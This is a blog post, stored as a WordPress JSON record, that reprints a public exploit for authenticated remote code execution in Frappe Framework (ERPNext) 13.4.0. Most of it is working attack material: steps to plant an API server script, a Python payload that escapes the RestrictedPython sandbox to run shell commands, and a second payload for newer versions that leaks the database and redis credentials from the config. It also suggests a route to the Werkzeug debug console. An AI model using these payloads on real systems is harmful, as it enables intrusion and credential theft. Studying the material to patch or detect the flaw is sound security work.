{"id":44884,"date":"2023-07-12T21:01:24","date_gmt":"2023-07-12T17:01:24","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/173431\/frappe1340-exec.txt"},"modified":"2023-07-19T13:45:28","modified_gmt":"2023-07-19T09:15:28","slug":"frappe-framework-13-4-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/frappe-framework-13-4-0-remote-code-execution\/","title":{"rendered":"Frappe Framework 13.4.0 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: Frappe Framework (ERPNext) 13.4.0 &#8211; Remote Code Execution (Authenticated)<br \/>\n# Exploit Author: Sander Ferdinand<br \/>\n# Date: 2023-06-07<br \/>\n# Version: 13.4.0<br \/>\n# Vendor Homepage: http:\/\/erpnext.org<br \/>\n# Software Link: https:\/\/github.com\/frappe\/frappe\/<br \/>\n# Tested on: Ubuntu 22.04<br \/>\n# CVE : none<\/p>\n<p>Silly sandbox escape.<\/p>\n<p>&gt; Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts.<\/p>\n<p>Requirements:<br \/>\n&#8211; &#8216;System Manager&#8217; role (which is not necessarily the admin)<br \/>\n&#8211; Server config `server_script_enabled` set to `true` (likely)<\/p>\n<p>Create a new script over at `\/app\/server-script`, set type to API, method to &#8216;lol&#8217; and visit `\/api\/method\/lol` to execute payload.<\/p>\n<p>&#8220;`python3<br \/>\nhax = &#8220;echo pwned &gt; \/tmp\/pwned&#8221;<br \/>\ng=({k:v(&#8216;os&#8217;).popen(hax).read() for k,v in g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if &#8216;import&#8217; in k}for x in(0,))<br \/>\nfor x in g:0<br \/>\n&#8220;`<\/p>\n<p>Context:<br \/>\n&#8211; https:\/\/ur4ndom.dev\/posts\/2023-07-02-uiuctf-rattler-read\/<br \/>\n&#8211; https:\/\/gist.github.com\/lebr0nli\/c2fc617390451f0e5a4c31c87d8720b6<br \/>\n&#8211; https:\/\/frappeframework.com\/docs\/v13\/user\/en\/desk\/scripting\/server-script<br \/>\n&#8211; https:\/\/github.com\/frappe\/frappe\/blob\/v13.4.0\/frappe\/utils\/safe_exec.py#L42<\/p>\n<p>Bonus:<\/p>\n<p>More recent versions (14.40.1 as of writing) block `gi_frame` but there is still a read primitive to escape the sandbox via `format_map`:<\/p>\n<p>&#8220;`python3<br \/>\nhax = &#8220;&#8221;&#8221;<br \/>\n{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_globals[frappe].local.conf}<br \/>\n&#8220;&#8221;&#8221;.strip()<\/p>\n<p>g=(frappe.msgprint(hax.format_map({&#8216;g&#8217;: g}))for x in(0,))<br \/>\nfor x in g:0<br \/>\n&#8220;`<\/p>\n<p>Which prints the Frappe config like database\/redis credentials, etc.<\/p>\n<p>In the unlikely case that Werkzeug is running with `use_evalex`, you may use the above method to retreive the werkzeug secret PIN, then browse to `\/console` (or raise an exception) for RCE.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Frappe Framework (ERPNext) 13.4.0 &#8211; Remote Code Execution (Authenticated) # Exploit Author: Sander Ferdinand # Date: 2023-06-07 # Version: 13.4.0 # Vendor Homepage: http:\/\/erpnext.org # Software Link: https:\/\/github.com\/frappe\/frappe\/ # Tested on: Ubuntu 22.04 # CVE : none Silly sandbox escape. &gt; Frappe Framework uses the RestrictedPython library to restrict access to methods &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-44884","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/44884","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=44884"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/44884\/revisions"}],"predecessor-version":[{"id":45090,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/44884\/revisions\/45090"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=44884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=44884"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=44884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}